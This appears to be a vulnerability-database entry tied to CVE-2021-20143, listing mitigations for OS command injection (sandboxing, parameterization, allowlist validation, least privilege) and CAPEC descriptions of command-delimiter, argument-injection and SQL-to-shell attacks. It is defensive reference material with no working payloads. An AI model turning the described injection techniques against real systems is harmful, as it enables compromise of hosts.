"published": "2021-12-10T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20143"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2021-51"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.